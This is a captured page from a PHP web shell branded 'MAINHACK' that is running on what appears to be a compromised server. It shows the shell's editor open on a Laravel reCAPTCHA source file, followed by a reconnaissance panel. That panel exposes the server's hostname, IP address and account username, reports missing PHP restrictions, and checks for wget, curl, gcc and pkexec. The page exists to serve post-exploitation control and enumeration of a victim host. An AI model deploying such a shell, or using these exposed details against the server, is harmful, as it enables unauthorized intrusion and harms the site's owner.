[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ReCaptchaBuilderV3.php
<?php /** * Copyright (c) 2017 - present * LaravelGoogleRecaptcha - ReCaptchaBuilderV3.php * author: Roberto Belotti - roby.belotti@gmail.com * web : robertobelotti.com, github.com/biscolab * Initial version created on: 22/1/2019 * MIT license: https://github.com/biscolab/laravel-recaptcha/blob/master/LICENSE */ namespace Biscolab\ReCaptcha; use Illuminate\Support\Arr; /** * Class ReCaptchaBuilderV3 * @package Biscolab\ReCaptcha */ class ReCaptchaBuilderV3 extends ReCaptchaBuilder { /** * ReCaptchaBuilderV3 constructor. * * @param string $api_site_key * @param string $api_secret_key */ public function __construct(string $api_site_key, string $api_secret_key) { parent::__construct($api_site_key, $api_secret_key, 'v3'); } public function getTokenParameterName(): string { return config( 'recaptcha.default_token_parameter_name', 'token' ); } public function getValidationUrl(): string { return url(config( 'recaptcha.default_validation_route', 'biscolab-recaptcha/validate' )); } public function getValidationUrlWithToken(): string { return implode( "?", [ $this->getValidationUrl(), $this->getTokenParameterName() ] ); } /** * Write script HTML tag in you HTML code * Insert before </head> tag * * @param array|null $configuration * * @return string */ public function htmlScriptTagJsApi(?array $configuration = []): string { if ($this->skip_by_ip) { return ''; } $html = "<script src=\"" . $this->api_js_url . "?render={$this->api_site_key}\"></script>"; $action = Arr::get($configuration, 'action', 'homepage'); $js_custom_validation = Arr::get($configuration, 'custom_validation', ''); // Check if set custom_validation. That function will override default fetch validation function if ($js_custom_validation) { $validate_function = ($js_custom_validation) ? "{$js_custom_validation}(token);" : ''; } else { $js_then_callback = Arr::get($configuration, 'callback_then', ''); $js_callback_catch = Arr::get($configuration, 'callback_catch', ''); $js_then_callback = ($js_then_callback) ? "{$js_then_callback}(response)" : ''; $js_callback_catch = ($js_callback_catch) ? "{$js_callback_catch}(err)" : ''; $validate_function = " fetch('" . $this->getValidationUrlWithToken() . "=' + token, { headers: { \"X-Requested-With\": \"XMLHttpRequest\", \"X-CSRF-TOKEN\": csrfToken.content } }) .then(function(response) { {$js_then_callback} }) .catch(function(err) { {$js_callback_catch} });"; } $html .= "<script> var csrfToken = document.head.querySelector('meta[name=\"csrf-token\"]'); grecaptcha.ready(function() { grecaptcha.execute('{$this->api_site_key}', {action: '{$action}'}).then(function(token) { {$validate_function} }); }); </script>"; return $html; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002